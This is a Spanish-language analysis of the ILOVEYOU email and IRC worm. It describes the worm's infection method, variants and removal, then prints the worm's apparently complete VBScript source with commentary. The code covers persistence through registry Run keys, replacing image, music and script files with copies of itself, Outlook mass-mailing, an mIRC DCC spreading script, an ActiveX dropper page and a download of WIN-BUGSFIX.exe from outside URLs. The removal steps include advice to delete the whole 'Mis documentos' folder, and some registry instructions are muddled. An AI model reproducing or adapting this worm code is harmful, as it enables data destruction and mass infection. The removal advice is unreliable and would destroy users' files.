I LOVE YOU

DESCRIPCIÓN

    Se trata de un gusano escrito en Visual Basic Script que infecta ordenadores a través del correo electrónico y el IRC.

MÉTODO DE INFECCIÓN
    Recibes un e-mail con un archivo adjunto, "LOVE-LETTER-FOR-YOU-TXT.VBS" (el virus). Si abres el archivo adjunto (no el e-mail), entonces te infectas. Se copia en el disco duro y crea unas lineas en el registro de Windows para que se ejecute el virus al iniciar Windows. Cambia la página inicial del navegador y desde aquí descarga un programa "WIN-BUGSFIX.EXE", seguramente es un troyano. Se envía automáticamente por e-mail e infecta los archivos con los siguientes formatos:
VBS, VBE, JS, JSE, CSS, WSH, SCT, HTA, JPG, JPEG, MP2, MP3

    Solo puede afectar a ordenadores que utilicen el sistema operativo Windows y que tengan Windows Scripting Host. Para enviarse automáticamente necesita el programa de correo electrónico Outlook .

    El virus utiliza el correo electrónico para su autopropagación, enviando mensajes con el tema (subject) “ILOVEYOU” y como contenido “kindly check the attached LOVELETTER coming from me”.

    Asociado al mensaje se envía un archivo con nombre “I-LOVE-YOU.TXT.vbs”. El uso de las mayúsculas parece ser un intento de engañar a los usuarios que en un primer vistazo, al ver la extensión .TXT piensan que se trata de un archivo de texto (seguro) y lo abren.

    Una vez ejecutado realiza las siguientes acciones:

    Si el valor de la entrada del registro de Windows
HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout
es un valor positivo, le cambia el valor y lo establece a cero (0). Si la entrada no existe, no hace nada.

    Salva una copia del propio virus con los siguientes nombres de archivo:
\%%WINDIR%%\Win32DLL.vbs
\%%WINDIR%%\MSKernel32.vbs
\%%SYSDIR%%\LOVE-LETTER-FOR-YOU.TXT.vbs

    Establece las entradas apropiadas del registro de Windows para ejecutarse automáticamente al arrancar la máquina:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\Run\MSKernel32 => \%%WINDIR%%\MSKernel32.vbs
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\RunServices\Win32DLL => \%%WINDIR%%\Win32DLL.vbs

    Modifica la página inicial del Microsoft Internet Explorer para que sea una URL (presumiblemente maligna). Si el archivo WinFAT32.EXE existe, establece la página de inicio (almacenada en la clave del registro HKCU\Software\Microsoft\Internet Explorer\Main\Start Page) a una de las siguiente URL:
http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhP njw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe
http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe5 46786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe
http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZ nmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe
http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjk hYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7th jg/WIN-BUGSFIX.exe

    Si el archivo WIN-BUGSFIX.exe existe, hace que se ejecute automáticamente al reiniciar la máquina:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run \WIN-BUGSFIX => \Directorio_donde_se_encuentra\win-bugsfix.exe

    También establece la página inicial del Microsoft Internet Explorer a “about:blank” (página en blanco).

    A continuación imprime el siguiente mensaje en HTML:

This HTML file need ActiveX Control
To enable to read this HTML file
- Please press #-#YES#-# button to Enable ActiveX

    El ActiveX establece las entradas del registro para ejecutarse automáticamente al reiniciar Windows, de la misma forma indicada en el punto 3 y genera los archivos indicados en el punto 2.

    El virus se autodistribuye. Establece una conexión MAPI a la lista de direcciones del Microsoft Outlook y envía una copia de si mismo a cada una de las entradas de la lista de direcciones.

Infección

    Todos los archivos con extensión .VBS, .VBE, .JS, .JSE, .CCS, .WSH, .SCT, .HTA, .JPG o .JPEG son sustituidos por una copia del virus. A continuación escribe una copia del virus en un archivo con el mismo nombre/extensión del archivo sustituido y añade la extensión .VBS --por ejemplo, el archivo “logo.jpg” será sustituido por una copia del virus y se creará un archivo con nombre “logo.jpg.vbs”).

    Si encuentra algún archivo con la extensión .MP2 o .MP3, marca dicho archivo con el atributo de oculto y a continuación crea una copia del virus con el nombre del archivo y la extensón .VBS.

    Si encuentra los archivos MIRC32.EXE, MIRC.INI, SCRIPT.INI, MIRC.HLP o MLINK32.HLP modificará o creará el archivo SCRIPT.INI en el directorio donde se encuentren para que cada vez que se acceda a un canal de IRC se envie una copia del archivo LOVE-LETTER-FOR-YOU.htm que contiene el virus.

VARIANTES

LoveLetter.E

    Se trata de una nueva variante que de distribuye mediante un mensaje con tema “Mothers Day Order Confirmation” y el siguiente texto como cuerpo de mensaje:

Thanks for your purchase!

We have proceeded to charge your credit card for the amount of $326.92 for the mothers day diamond special. We have attached a detailed invoice to this email. Please print out the attachment and keep it in a safe place

    El archivo asociado se denomina “mothersday.vbs”. Esta variante procede a borrar todos los archivos con extensión “.bat”.

    La variante LoveLetter.B utiliza como texto “Susitikim shi vakara kavos poudukui...”

    Al menos en una varieante del virus, se ha observado que el archivo VBS no se distribuye como un archivo asociado sino en formato uuencode. En nuestra opinión se debe a una modificación efectuada por algún MTA (Agente de Transferencia de Correo), aunque este hecho puede poner dificultades a la detección del virus por parte de antivirus a nivel de servidor de correo.

    No sólo es preciso incluir la extensión .VBS en la relación de archivos a verificar por el programa antivirus. También se hace necesario verificar los archivos .WSF (Windows Scripting File). Si modificamos la extensión al archivo del virus por .WSF se ejcuta con los mismos efectos.

    Se han detectado diversas variedades del virus, que envían mensajes con un texto/tema diferente (“Joke” y “Funny News”).

ELIMINACION

    Eliminar el virus es fácil, aunque laborioso. Además, si teniamos algún script en VBScript, WSH o cualquier otro similar, lo hemos perdido irremediablemente.

    Los pasos para proceder a la eliminación total son:

    1. Borrar las siguientes entradas del registro:
HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\Run\MSKernel32
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\RunServices\Win32DLL
En HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page tenemos que eliminar todas las instancias de los siguientes archivos:

LOVE-LETTER-FOR.YOU.HTM
*.VBS
*.VBE
*.JS
*.JSE
*.CSS
*.WSH
*.SCT
*.HTA

    2. Buscar los archivos ocultos con extensión .MP2 y .MP3 y desactivar el atributo de oculto.

    3. Es una buena idea proceder a borrar la carpeta “Mis documentos”.

    4. En ningún caso ejecutar el archivo .VBS recibido por correo electrónico.

    5. Si utilizamos cualquier versión del Microsoft Outlook o el Microsoft Exchange, borrar cualquier mensaje recibido con el tema “ILOVEYOU”. De esta forma, rompemos la propagación del virus.

    6. No abrir el archivo LOVE-LETTER-FOR-YOU.htm recibido vía IRC.

    7. Crea las siguientes claves en el registro, que deberán ser borradas para evitar que el virus se ejecute de forma automática nada más iniciar el sistema:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
     CurrentVersion\Run\MSKernel32
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
     CurrentVersion\RunServices\Win32DLL

    También será necesario borrar los archivos:

WIN32DLL.VBS
ubicado en el directorio de Windows (por defecto \WINDOWS)

MSKERNEL32.VBS
LOVE-LETTER-FOR-YOU.VBS
ubicados en el directorio de sistema (por defecto \WINDOWS\SYSTEM)

    8. El gusano modifica la página de inicio de Internet Explorer con una de las 4 direcciones, que elige según un número aleatorio, bajo el dominio http://www.skyinet.net. Estas direcciones apuntan al fichero WIN-BUGSFIX.EXE, una vez descargado modifica el registro de Windows para que este ejecutable también sea lanzado en cada inicio del sistema y modifica de nuevo la configuración de Internet Explorer situando en esta ocasión una página en blanco como inicio.

    9. Si el gusano ha conseguido realizar el paso anterior también deberemos borrar el archivo WIN-BUGSFIX.EXE ubicado en el directorio de descarga de Internet Explorer, y la entrada del registro:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX

    10. El gusano también detecta la presencia del programa mIRC, buscando algunos de los siguientes archivos: "mirc32.exe", "mlink32.exe", "mirc.ini" y "script.ini". En caso de que se encuentren en el sistema, el gusano escribe en el mismo directorio su propio archivo SCRIPT.INI donde podemos encontrar, entre otras líneas, las siguientes instrucciones:

n0=on 1:JOIN:#:{
n1= /if ( $nick == $me ) { halt }
n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM
n3=}

    Las cuales provocan que el gusano se autoenvíe vía DCC, a través del archivo LOVE-LETTER-FOR-YOU.HTM, a todos los usuarios de IRC que entren en el mismo canal de conversación donde se encuentre el usuario infectado.

En este caso debemos de borrar los archivos:

LOVE-LETTER-FOR-YOU.HTM
ubicado en el directorio de sistema (por defecto \WINDOWS\SYSTEM)

SCRIPT.INI (si contiene las instrucciones comentadas)
ubicado en el directorio de mIRC

    El virus sobrescribe con su código los archivos con extensiones .VBS y .VBE. Elimina los archivos con extensiones .JS, .JSE, .CSS, .WSH, .SCT y .HTA, y crea otros con el mismo nombre y extensión .VBS en el que introduce su código. También localiza los archivos con extensión .JPG, .JPEG, .MP3 y .MP2, los elimina, y crea otros donde el nuevo nombre está formado por el nombre y la extensión anterior más VBS como nueva extensión real.

ANALIZANDO EL CÓDIGO
A continuación se muestra el código comentado del gusano ILOVEYOU:

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next

    Para empezar, el autor da en un comentario su dirección de correo y nacionalidad ( ! ).
    La sentencia "On Error Resume Next" es usada en Visual Basic para que el script pase a la linea siguiente cuando se produzca un error.

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()

    Aqui el script se abre a si mismo y vuelca todo su contenido en la variable "vbscopy", que será posteriormente usada para copiar el código del script en varios lugares del ordenador infectado. Después llama a la subrutina main ()

Main ()

sub main()
On Error Resume Next

dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if

    Debido al gran numero de acciones que lleva a cabo el script, se ha de modificar esta clave del registro que controla el tiempo máximo que un script en VBScript puede estar ejecutándose. Se cambia por 0, desactivando el controlador de tiempo, si el TimeOut ya estaba activado ( es decir, si tenia valor => de 1 )

Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)

    Aqui coge los directorios predeterminados de Windows, System y Temporal en las tres variables dirwin, dirsystem y dirtemp.

Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

    Se copia a si mismo a diferentes archivos. Los dos primeros, MsKernel32.vbs y Win32DLL.vbs suplantarán a las .dll del mismo nombre al inicio de Windows. Para esto el script modifica el registro en la función regruns()

regruns()
html()
spreadtoemail()
listadriv()
end sub

    Llama a diferentes funciones que se encargarán de extender el gusano de diversas formas : la función regrun (), como ya hemos dicho, modificará el registro, la html () creará un fichero HTML que extenderá el gusano a quien la mire, la spreadtoemail (), obviamente, lo extiende por e-mail y listadriv( ) borra ficheros con extensiones como jpeg o mp3 por copias de sí mismo .

Regruns ()

sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"

    Esta es la primera modificiación en el registro del programa : dos entradas bajo el nombre de las dos librerías imprescindibles de Windows , MSKernel32 y Win32DLL hacen que el gusano se ejecute al iniciar windows, para así volver a infectar los archivos de nuevo si se ha intentado arreglar la configuración de Windows y para comprobar si se han añadido nuevas entradas en la agenda y enviar a estas direcciones el correo con el gusano. Tambien hacer notar que a partir de aqui el gusano usa la funcion regcreate que está al final del script y que agiliza la creación de claves ( para así no estar todo el rato declarando objetos WShell y usar el método RegWrite )

downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if

    Ahora el gusano leerá del registro cual es el directorio de download de Windows y si no hay lo situará en "c:\". Si existe el fichero WinFAT32.exe ( lo cual creo que es una manera de detectar que el sistema está usando el sistema de archivos FAT32 y no el NTFS que es el que usa Windows NT ) colocará como página de Inicio del Explorer una dirección al azar entre cuatro para que baje un fichero llamando WIN-BUGSFIX.exe.
 

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub

    Si existe el fichero (el usuario lo ha descargado) el gusano cambiará de nuevo el registro para que este archivo se ejecute al iniciar Windows.

ListaDriv ()

sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub

    El gusano lista las unidades de disco en el ordenador y si el disco es fijo o de red llama a la función folderlist indicando el nombre de la unidad.

Folderlist ()

sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub

    Toma la raiz de la unidad indicada y lista todas las carpetas existentes en ella, llama a la función infectfiles que infectará archivos de determinada extensión y después vuelve a llamarse a ella misma para listar todas los subdirectorios que pueda haber en el directorio actual.

InfectFiles ()
 

sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)

    En primer lugar, el gusano tomará el directorio que le llega en el parámetro folderspec con la función GetFolder, y después con un bucle for mirará uno a uno la extensión de los ficheros y tomará ( siempre en minúsculas con lcase ) el nombre del fichero en la variable s y la extensión en la variable ext.

if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close

    Si la extensión es vbs o vbe escribe el contenido del gusano en ese script ..

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)

    En cambio, si la extensiones son js, jse, css, wsh, sct o hta (todos ellos scripts que puede ejecutar el Windows Scripting Host) primero escribirá su contenido en el fichero y luego lo copiará con la extensión vbs, borrando el fichero original ...

elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)

    Lo mismo pero para ficheros de extensión jpg o jpeg.

elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if

    También lo mismo para ficheros de extensión mp3 o mp3, con la diferencia de que hace el archivo suplantandor oculto.
 

if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub

    El gusano mira si en el directorio actual se encuentran ficheros propios del conocido cliente de IRC MIrc. Si es asi, el gusano modificará el fichero de configuración principal de MIrc , script.ini. Este código, al ocurrir el evento JOIN ( que ocurre cuando un usuario entra en un canal ), comprueba que no se trate del propio usuario y envia al que haya entrado en el canal una pagina html , LOVE-LETTER-FOR-YOU.HTM que crea el propio gusano en la función html () y que tiene como objetivo, como no, extender el gusano. También es curioso observar como el autor apela a la ingenuidad del usuario amenazando en los comentarios de script.ini con que si se edita de algun modo el fichero, Windows fallará de manera crónica.

Spreadtoemail ()

sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")

    Esta rutina permite al gusano extenderse por correo electrónico. Para ello automatiza el Outlook creando un objeto "Outlook.Application".

for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)

    El gusano toma las direcciones de la agenda de contactos del Outlook y lleva la cuenta de los contactos en la carpeta del registro HKEY_CURRENT_USER\Software\Microsoft\Wab. Si encuentra que el numero de direcciones registradas es menor de las existentes, comienza un bucle con todas las entradas en el registro. Primero se cerciora de que la entrada no esté registrada.

if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"

    Seguidamente, crea un mensaje con el gusano adjuntado y lo envia a dicha dirección, para después registrar la dirección como ya enviada.

end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub

    Así termina esta subrutina que ha provocado la rápida extensión del gusano por todo el mundo. Mediante este sistema controla las nuevas entradas en la agenda para seguir extendiéndose por correo electrónico. Esta es la verdadera razón por la que el gusano se inicia a si mismo en el registro e infecta gran variedad de archivos: el gusano necesita ser ejecutado regularmente para monitorizar la agenda de direcciones.

Html ()

sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"

    Esta rutina tiene como función crear la página HTML que extenderá el gusano a usuarios de IRC. Aqui se asigna a la cadena dta1 y dta2 todo este codigo HTML y JavaScript que se encargará de extender el gusano al abrir la pagina en Internet Explorer. Primero vuelve a apelar a la ingenuidad del usuario al decirle que deber responder "Sí " a la pregunta del cuadro de mensaje que se abre avisando de que hay contenido ActiveX inseguro y si se desea abrirlo. Si el usuario es lo bastante ingenuo, la pagina HTML creará el MSKernel32.vbs con el contenido de todo el gusano.

dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next

    Todo este codigo es necesario para procesar el texto de HTML, ya que al estar escrito en JScrip y tener que definir en una sola cadena todo el código del gusano, no puede usar en una cadena las comillas, las barras \ y / , etc. Esto se resuelve usando la función replace y sustituyendo estos caracteres por \numeroenoctal que indica a JScript que debe escribir el carácter ASCII que le indica el numero en octal.

set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub

    Por último se crea el fichero LOVE-LETTER-FOR-YOU.HTM y se vuelca todo el contenido en él.

sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub

function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function

function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function

function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function